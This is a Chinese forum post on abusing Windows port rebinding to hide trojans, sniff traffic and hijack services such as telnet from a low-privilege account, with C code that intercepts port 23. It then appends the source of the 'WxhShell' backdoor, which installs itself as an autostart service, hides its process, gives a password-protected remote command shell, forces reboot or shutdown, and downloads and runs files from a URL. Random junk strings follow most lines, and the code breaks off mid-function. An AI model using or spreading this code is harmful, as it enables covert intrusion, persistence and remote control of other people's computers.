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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `/en&l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WJ)( *1  
Ji<^s@8Zc  
  saddr.sin_family = AF_INET; 1p#O(o  
x| jBn}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RL =  
{%WQQs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y8/ 7@qw  
4RgEN!d?H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {<XPE:1>Y  
s?h=%; T[  
  这意味着什么?意味着可以进行如下的攻击: ~/0 t<^  
IBYRuaEB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (7 i@ @  
vb 2mY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }%z {tn  
px!lJtvgo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yHS=8!  
tBSHMz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9H$$Og  
k"-2OT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V-Ebi^gz5W  
# fvt:iE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6|q\ M  
Qs24b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NYS |fa  
{Vy2uow0  
  #include .QRa{l_)  
  #include !?t#QD o  
  #include ? OrRTRW  
  #include    zd1X(e<|{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "YY6_qQR'  
  int main() o[C,fh,$  
  { }Yd7<"kp  
  WORD wVersionRequested; ,9T-\)sT  
  DWORD ret; /b3b0VfF  
  WSADATA wsaData; @f<q&K%FJ  
  BOOL val; <pAN{:  
  SOCKADDR_IN saddr; y7[D9ZvZ  
  SOCKADDR_IN scaddr; !/pE6)a  
  int err; t?& a?6:J  
  SOCKET s; 1=fP68n  
  SOCKET sc; W( O)J$j  
  int caddsize; M<'AM4  
  HANDLE mt; fB~BVYi  
  DWORD tid;   >z&|<H%  
  wVersionRequested = MAKEWORD( 2, 2 ); ,^]yU?eU  
  err = WSAStartup( wVersionRequested, &wsaData ); !j"r}c`  
  if ( err != 0 ) { tbbZGyg5b  
  printf("error!WSAStartup failed!\n"); 4.?tP7UE  
  return -1; N7/eF9  
  } bUR; d78  
  saddr.sin_family = AF_INET; O3Jp:.ps  
   \UKr|[P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jzqv6A3G  
*AEN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CxyL'k  
  saddr.sin_port = htons(23); LQy`,-&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s*A#;  
  { rnB-e?>  
  printf("error!socket failed!\n"); DEmU},<S  
  return -1; ZHQa}C+  
  } N@Ie VF  
  val = TRUE; aZK%?c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `tmd'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $w,&h:.p  
  { 85$W\d  
  printf("error!setsockopt failed!\n"); wWaO"N]  
  return -1; (_2;}eg  
  } )_$F/ug  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H}TzNs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a>1_|QB.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0FL PZaRP  
lJe=z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .W>LsEk  
  { K x7'm1  
  ret=GetLastError(); r!DUsE  
  printf("error!bind failed!\n"); ~_XJ v  
  return -1; y _Mte  
  } J<[Hw g  
  listen(s,2); ?f9@  
  while(1) . 4$SNzv3V  
  { 5u(B]_r.  
  caddsize = sizeof(scaddr); Ni"M.O);t  
  //接受连接请求 eVDO]5?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "qb1jv#to  
  if(sc!=INVALID_SOCKET) 1y/_D$~ZO  
  { >5,nB<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F(?A7  
  if(mt==NULL) d(LX;sq?  
  { vjfV??XSU  
  printf("Thread Creat Failed!\n"); 6gUcoDD  
  break; &y164xn'h  
  } s\7]"3:wD  
  } 6xLLIby,  
  CloseHandle(mt); '"# W!p  
  } zUw=e}?:  
  closesocket(s); e MX?x7  
  WSACleanup(); XeGtge/}T  
  return 0; })zYo 7  
  }   lwY2zX&%)/  
  DWORD WINAPI ClientThread(LPVOID lpParam) KW1 7CJ@  
  { U_1syaY!  
  SOCKET ss = (SOCKET)lpParam; #q[k"x=c  
  SOCKET sc; "YUh4uZ~P  
  unsigned char buf[4096]; :fxG]uf-P  
  SOCKADDR_IN saddr; U9uy (KOW  
  long num; o;d><  
  DWORD val; #!a}ZhIt  
  DWORD ret; fu}ZOPu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +W{ELdup%q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Het5{Yb.  
  saddr.sin_family = AF_INET; h[%t7qo=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s<}d)L(  
  saddr.sin_port = htons(23); "JHd F&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) STfcx] L  
  { _{d0Nm  
  printf("error!socket failed!\n"); 5]c'n  
  return -1; ENmfbJ4d~  
  } v6Vd V.BI  
  val = 100; X>0$zE@0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2swHJ.d\  
  { KF'DOXBw>  
  ret = GetLastError(); dZS v=UY)  
  return -1; n"p|tEK  
  } WyO7,Qr\   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a{oG[e   
  { :Adx7!6  
  ret = GetLastError(); {6V;$KqH6  
  return -1; 7U:-zfq  
  } O@[jNs)].  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Zx%ib8| j  
  { $i:wS= w'  
  printf("error!socket connect failed!\n"); > 4c7r~\k  
  closesocket(sc); d[cqs9=\  
  closesocket(ss); G4VdJ(_  
  return -1; :n@j"-HA  
  } \( S69@f  
  while(1) g$z9 (i+  
  { V l,V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i4',d#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {C% #r@6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zvzS$Gpe  
  num = recv(ss,buf,4096,0); $]{20"  
  if(num>0) E{Gkq:  
  send(sc,buf,num,0); A,P_|  
  else if(num==0) qUZm6)p6[a  
  break; \]@XY_21  
  num = recv(sc,buf,4096,0); UUE:>[,  
  if(num>0)  k|Xxr  
  send(ss,buf,num,0); k^x[(gw  
  else if(num==0) ?1DA  
  break; s>pOfXIx  
  } -uE2h[X|  
  closesocket(ss); ^oL43#Nlo  
  closesocket(sc); `{1&*4!  
  return 0 ; VE <p,IO  
  } W .B>"u  
m!Iax]D{  
tA*hh"9  
========================================================== Lc0 U-!{G  
[<2#C#P:6  
下边附上一个代码,,WXhSHELL ,-4SVj8$P  
?PMF]ah  
========================================================== S:\a&+og  
k|O?qE1hP  
#include "stdafx.h" pl-2O $  
*@EItj`  
#include <stdio.h> dBB;dN  
#include <string.h> _tl,-}~  
#include <windows.h> yB>5p]$P  
#include <winsock2.h> H 3e(-  
#include <winsvc.h> u:6PAVW?  
#include <urlmon.h> yMJY6$Ct  
k|ol+ 9Z  
#pragma comment (lib, "Ws2_32.lib") R(i2TAaaU  
#pragma comment (lib, "urlmon.lib") )ZyEn%  
I3{koI  
#define MAX_USER   100 // 最大客户端连接数 ~If{`zWoC  
#define BUF_SOCK   200 // sock buffer u-31$z<<5}  
#define KEY_BUFF   255 // 输入 buffer e:h(,  
POnI&y]  
#define REBOOT     0   // 重启 jJX-S  
#define SHUTDOWN   1   // 关机 (c'=jJX  
`|[" {j}^  
#define DEF_PORT   5000 // 监听端口 y .+d3  
lzKJy  
#define REG_LEN     16   // 注册表键长度 I jK  
#define SVC_LEN     80   // NT服务名长度 j-?zB .jAh  
%XpYiW#AK  
// 从dll定义API nE~HcxE/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qWQ7:*DL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |L@9qwF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8Wa&&YTB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _cWz9 ;  
~JU :a@)  
// wxhshell配置信息 yf KJpy  
struct WSCFG { s+=JT+g  
  int ws_port;         // 监听端口 ZL0':7  
  char ws_passstr[REG_LEN]; // 口令 IT.'`!T  
  int ws_autoins;       // 安装标记, 1=yes 0=no E(0(q#n  
  char ws_regname[REG_LEN]; // 注册表键名 7 Q`'1oE?  
  char ws_svcname[REG_LEN]; // 服务名 CL~21aslI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r*n_#&-7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &$'=SL(Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qkM<t?uS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k Xs&k8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bIX'|=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YivWvV  
Ar+<n 2;[  
}; ]>K02SVT:  
f/FK>oUh  
// default Wxhshell configuration w&M)ws;$  
struct WSCFG wscfg={DEF_PORT, 1j_x51p  
    "xuhuanlingzhe", "8bxb  
    1, l&]Wyaz@n  
    "Wxhshell", ,P?R 3  
    "Wxhshell", ?89ZnH2/  
            "WxhShell Service", Esc*+}ck  
    "Wrsky Windows CmdShell Service", 1pUIZ$@?`  
    "Please Input Your Password: ", !'-|]xx(  
  1, !k=>Wb8n2  
  "http://www.wrsky.com/wxhshell.exe", $U uSrX&  
  "Wxhshell.exe" D^ E+#a 1  
    }; ""j(wUp-W  
>=|;2*9v  
// 消息定义模块 A[,[j?wC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jslfq@5v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -nC 5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OT & mNE4  
char *msg_ws_ext="\n\rExit."; X(b"b:j'  
char *msg_ws_end="\n\rQuit."; E !a5-SrR  
char *msg_ws_boot="\n\rReboot..."; if S) < t  
char *msg_ws_poff="\n\rShutdown..."; JD\:bI  
char *msg_ws_down="\n\rSave to "; v{R:F  
jh3LD6|s}  
char *msg_ws_err="\n\rErr!"; `7;I*|  
char *msg_ws_ok="\n\rOK!"; p'`SYEY@Z  
JG2)-x;9  
char ExeFile[MAX_PATH]; C ?^si  
int nUser = 0; :&]THUw  
HANDLE handles[MAX_USER]; B{D!5{t  
int OsIsNt; ~[J&n-bJU  
C$Y pk\p  
SERVICE_STATUS       serviceStatus; 9$9Pv%F:j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nUAs:Q  
c'9-SY1'~  
// 函数声明 N"i'[!H%  
int Install(void); #-QQ_  
int Uninstall(void); %-Z0OzWe  
int DownloadFile(char *sURL, SOCKET wsh); b,?@_*qv+  
int Boot(int flag); hBSci|*f  
void HideProc(void); u}Q@u!~e9  
int GetOsVer(void); K1P3 FfG  
int Wxhshell(SOCKET wsl); uW.)(l  
void TalkWithClient(void *cs); 'qosw:P  
int CmdShell(SOCKET sock); G(alM=q  
int StartFromService(void); u -CCUMR  
int StartWxhshell(LPSTR lpCmdLine); a;Nj'M~U  
HWr")%EhD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); . Q#X'j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); </K"\EU  
LnN6{z{M  
// 数据结构和表定义 %hYol89F  
SERVICE_TABLE_ENTRY DispatchTable[] = MTKd:.J6  
{ KcGM=z?:  
{wscfg.ws_svcname, NTServiceMain}, +["t@Q4IQ  
{NULL, NULL} &{s`=IeN  
}; N XwQvm;q  
GC{)3)_ t  
// 自我安装 0 ]v:Ix  
int Install(void) F5CV<-jB  
{ P=)&]Pz  
  char svExeFile[MAX_PATH]; sA3=x7j%c  
  HKEY key; uT5sLpA|6  
  strcpy(svExeFile,ExeFile); UMg*Yv%  
AZmABl  
// 如果是win9x系统,修改注册表设为自启动 Bn7~p+N  
if(!OsIsNt) { ]-o0HY2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GEg8\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9(%ptnya  
  RegCloseKey(key); &Rgy/1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /4\!zPPj.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =YPvh]][  
  RegCloseKey(key); p,y(Fc~]g'  
  return 0; ")l_>y ?  
    } UB3b  
  } $K)9(DD  
} KrQ8//Ih  
else { E%CJM+r!  
>Q0HqOq  
// 如果是NT以上系统,安装为系统服务 3>[_2}l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z4\$h1tl  
if (schSCManager!=0) v{ F/Bifo  
{ *"N756Cj  
  SC_HANDLE schService = CreateService )V!dmVQq{g  
  ( +LwE=unS  
  schSCManager, :y)'_p *l/  
  wscfg.ws_svcname, */B-%*#I.  
  wscfg.ws_svcdisp, 8^3Z]=(Q  
  SERVICE_ALL_ACCESS, Qrt[MJ+#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +L4_]  
  SERVICE_AUTO_START, i,=CnZCh  
  SERVICE_ERROR_NORMAL, c k=  
  svExeFile, mQQ5>0^m  
  NULL, QdM&M^  
  NULL, pN+lC[C  
  NULL, ^-3R+U- S  
  NULL, 90%alG 1>y  
  NULL )v!>U<eprD  
  ); D`=hP( y^  
  if (schService!=0) ,+0>p  
  { 9JHu{r"M  
  CloseServiceHandle(schService); 6?U2Et  
  CloseServiceHandle(schSCManager); ;c5Q"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *KP 60T  
  strcat(svExeFile,wscfg.ws_svcname); 9aw- n*<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~]71(u2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o=`FGowF  
  RegCloseKey(key); W s!N%%g  
  return 0; %J06]FG7  
    } a7#J af  
  } ?)9mHo^  
  CloseServiceHandle(schSCManager); \lVX~r4  
} I!y[7^R  
} }.<%46_Z-  
]KMOLe6(  
return 1; #D"fCVIS  
} _"8\k 7S*  
56Q9RU(M  
// 自我卸载 pq`Bg`c  
int Uninstall(void) 8=^o2&  
{ MtAD&+3$  
  HKEY key; ?`Oh]2n)6  
jI$}\*g  
if(!OsIsNt) { * %p6+D-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sF?N vp  
  RegDeleteValue(key,wscfg.ws_regname); .7-Yu1{2  
  RegCloseKey(key); f Q.ea#xh^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cGw*edgp6  
  RegDeleteValue(key,wscfg.ws_regname); v%|()Z0  
  RegCloseKey(key); [@@Ovv  
  return 0; *yGOm i  
  } >r7{e:~q  
} n237%LH[  
} CErkmod{}e  
else { f!}c0nb  
:F:<{]oG_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ms'!E)  
if (schSCManager!=0) 9?)r0`:#  
{ <$s G]l!\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fL7ym,?  
  if (schService!=0) ZFy>Z:&S,  
  { iY~9`Q1E  
  if(DeleteService(schService)!=0) { |9)Q =(  
  CloseServiceHandle(schService); ' vO+,-  
  CloseServiceHandle(schSCManager); hia_CuY#  
  return 0; ;b:Ct<  
  } wVD-}n1"  
  CloseServiceHandle(schService); (o,&P9  
  } tk5Bb`a  
  CloseServiceHandle(schSCManager); z<~gv"  
} ?U]/4]  
} b'Gn)1NE  
6KmF 9  
return 1; kW&{0xkGR  
} <o5+*X  
q2}<n'o+  
// 从指定url下载文件 Lxm1.TOJ  
int DownloadFile(char *sURL, SOCKET wsh) K#g)t/SZ  
{ Z3=DM=V;v  
  HRESULT hr; <,,U>0?3  
char seps[]= "/"; .IYE+XzV  
char *token; -`6O(he  
char *file; <Tr_,Ya{9  
char myURL[MAX_PATH]; -b-Pvw4  
char myFILE[MAX_PATH]; 4 Yq|Z  
zO`54^  
strcpy(myURL,sURL); u]P0:)tS.  
  token=strtok(myURL,seps); /ve8);cH\  
  while(token!=NULL) b'fj  
  { IMzhEm  
    file=token; ,R$n I*mf_  
  token=strtok(NULL,seps); LV{a^!f`y  
  } ?\:ysTVu  
F9]j{'#  
GetCurrentDirectory(MAX_PATH,myFILE); sbOa] 5]  
strcat(myFILE, "\\"); [#H$@g|CT  
strcat(myFILE, file); +x$;T*0  
  send(wsh,myFILE,strlen(myFILE),0); xKz^J SF  
send(wsh,"...",3,0); ;pdW7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); emb~l{K$  
  if(hr==S_OK) 2E/#fX9!4  
return 0; $~4ZuV%  
else Nko;I?Fn  
return 1; 8}m] XO  
GE=#8-@g~p  
} Y'kD_T`f,  
+ oyW_!(  
// 系统电源模块 D .| h0gU  
int Boot(int flag) $H^hK0?'  
{ m*h d%1D  
  HANDLE hToken; NG@9 }O  
  TOKEN_PRIVILEGES tkp; o Wg5-pMWZ  
zEJ|;oL  
  if(OsIsNt) { r'fNQJ >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N4"%!.Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !8ub3oj)  
    tkp.PrivilegeCount = 1; =!r9;L,?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $@q)IK%FDL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +\9Y;N y  
if(flag==REBOOT) { 5B| iBS l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gs2.}l z  
  return 0; 0o[p<<c*  
} cYdk,N  
else { {U4BPKof  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |{]\n/M  
  return 0; o9~Z! &p  
} N. 3 x[%:  
  } p_ =^E*J]  
  else { ptGM'  
if(flag==REBOOT) { |/zE(ePc{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q~]#x![u0  
  return 0; mY2 Ubn*  
} t)XNS!6#]?  
else { ?f[#O&#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j&) +qTV  
  return 0; [-_u{j  
} m6QlIdl  
} yL&F!+(/Ix  
? e%Pvy<i  
return 1; qR!SwG44+  
} % w 6fB  
RUm1;MWs  
// win9x进程隐藏模块 Fsv%=E{  
void HideProc(void) I(ds]E ;_E  
{ Z6SM7? d  
z^S=ji U++  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;id0|x  
  if ( hKernel != NULL ) K=VYR Y  
  { VWd=7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r8+{HknB;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~j",ePl  
    FreeLibrary(hKernel); LnvC{#TFO  
  } s$J0^8Q~i  
JC}y{R8  
return; jR\&2;T  
} OOs Y{8xM  
$d%m%SZxv  
// 获取操作系统版本 &H;0N"Fn  
int GetOsVer(void) G$:T!  
{ ` :Am#"j]}  
  OSVERSIONINFO winfo; Dms 6"x2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W1M<6T.{7  
  GetVersionEx(&winfo); =:mD)oX*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &%L1n?>Q}  
  return 1; ^rjICF e  
  else U aj8}7v  
  return 0; *^ncb,1+i  
} &(-+?*A`E  
!6\{q M  
// 客户端句柄模块  #-1 ;  
int Wxhshell(SOCKET wsl) zn&NLsA  
{ qYZX, x  
  SOCKET wsh; BftW<1,U^  
  struct sockaddr_in client; Jj_E/c"  
  DWORD myID; i,M<}e1  
7qq}wR]]  
  while(nUser<MAX_USER) f {AbCi  
{ ,ClGa2O  
  int nSize=sizeof(client); >7B6iR6N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); su>GeJiPW  
  if(wsh==INVALID_SOCKET) return 1; 5Q,#Co  
w_q{C>- cR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _n@#Lufx  
if(handles[nUser]==0) J7/"8S_#N  
  closesocket(wsh); 1om:SHw  
else +'Pf|S  
  nUser++; p]:5S_$  
  } #GT/Q3{C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u)y6$  
J,%v`A~ N  
  return 0; yYwZZa1  
} b;`gxXeL  
lhva|  
// 关闭 socket r ,D T>  
void CloseIt(SOCKET wsh) 2G<\Wz  
{ =o;8xKj  
closesocket(wsh); &]3_ .C  
nUser--; $(K[W}  
ExitThread(0); puA~}6C  
} \ " {+J  
k?3NF:Yy7  
// 客户端请求句柄 vdAaqM6D  
void TalkWithClient(void *cs) ob05:D_bc9  
{ n.n;'p9t@  
0#0[E,  
  SOCKET wsh=(SOCKET)cs; L,M=ogdb  
  char pwd[SVC_LEN]; XCCN6[[+  
  char cmd[KEY_BUFF]; o( Yfnnuy  
char chr[1]; Pqli3(  
int i,j; vmm#UjwF3  
BZP}0  
  while (nUser < MAX_USER) { pZUckQ  
[Nbs{f^J=  
if(wscfg.ws_passstr) { vx62u29m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |RS9N_eRt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <V0]~3  
  //ZeroMemory(pwd,KEY_BUFF); '`&gSL.1a@  
      i=0; nh"nSBRxk  
  while(i<SVC_LEN) { UUJbF$@;  
oP;"`^_  
  // 设置超时 109dB$+$  
  fd_set FdRead; 8+5# FC7  
  struct timeval TimeOut; 9`VgD<?v  
  FD_ZERO(&FdRead); fT.18{'>  
  FD_SET(wsh,&FdRead); c1B <9_  
  TimeOut.tv_sec=8; E58fY|9  
  TimeOut.tv_usec=0; dc.9:u*w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C?m2R(RF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w$8Su:g=  
m1H_kJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b6Pi:!4  
  pwd=chr[0]; wO9|_.Z{  
  if(chr[0]==0xd || chr[0]==0xa) { ej,j1iB  
  pwd=0; k/o"E  
  break; EKo!vie G  
  } _b|mSo,{Y  
  i++; #{KYsDtvx  
    } |fqYMhA U  
2%P{fJbwd  
  // 如果是非法用户,关闭 socket A?V}$PTlx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6U~AKq"+f  
} E7X6Shng  
A Gu#*,K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z> Jm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .P(k |D&  
p^QZGu-.W  
while(1) { BBuI|lr  
/}A"F[5  
  ZeroMemory(cmd,KEY_BUFF); n]:Xmi8p  
4o?_G[  
      // 自动支持客户端 telnet标准   " O0p.o  
  j=0; EZnXS"z  
  while(j<KEY_BUFF) { U|SF;T .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n'*4zxAA  
  cmd[j]=chr[0]; 2q]y(kW+  
  if(chr[0]==0xa || chr[0]==0xd) { ,yc_r= _  
  cmd[j]=0; eA q/[(  
  break; xe?!UCUb@  
  } VF[$hs  
  j++; -([ ipg(r  
    } ~ +DPq|-O  
j"=F\S&!  
  // 下载文件 mbT4K8<^  
  if(strstr(cmd,"http://")) { XzLB#0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &?X0;,5)  
  if(DownloadFile(cmd,wsh)) "?9rJx$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `%S 35x9  
  else 'kBg3E$y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A1>fNilC9  
  }  wO<.wPa`  
  else { N)yCGo  
(~S=DFsP  
    switch(cmd[0]) { lRA=IRQ]  
  s1 mKz0q  
  // 帮助 ((0nJJjz  
  case '?': { 0b=1Ce+0q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Ye{a<ckK  
    break; r~rftw  
  } 7m.#No>^  
  // 安装 yuP1*QJ%  
  case 'i': { 1N\/61+aA  
    if(Install()) l9{}nz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=3mLz-  
    else  T.d1?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,f*Q3 S/I  
    break; 7b8+"5~  
    } 2F7(Y)  
  // 卸载 P^'TI[\L9  
  case 'r': { :/A7Z<u,  
    if(Uninstall()) Ymvd3>_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+mrsyM  
    else w?#s)z4}g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cb}I-GtO  
    break; ehTrjb3k  
    } KC+jHk  
  // 显示 wxhshell 所在路径 ' % d-  
  case 'p': { ~fnu;'fN  
    char svExeFile[MAX_PATH]; N 2XL5<  
    strcpy(svExeFile,"\n\r"); 4og/y0n,l"  
      strcat(svExeFile,ExeFile); JjMa   
        send(wsh,svExeFile,strlen(svExeFile),0); i}Q"'?  
    break; W 6c]a/  
    } njxfBA:  
  // 重启 9{*$[%d1  
  case 'b': { ) kMF~S|H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 216=7O2F  
    if(Boot(REBOOT)) Wn%b}{9Fb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cer&VMrQK  
    else { = Ed0vw  
    closesocket(wsh); X 0vcBHh  
    ExitThread(0); g1kYL$o4  
    } %T6 sm  
    break; ,A%p9  
    } OLS/3c z  
  // 关机 X aE;i57$l  
  case 'd': { Z ".Xroq~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .Gt_~x  
    if(Boot(SHUTDOWN)) rP{Jep!  
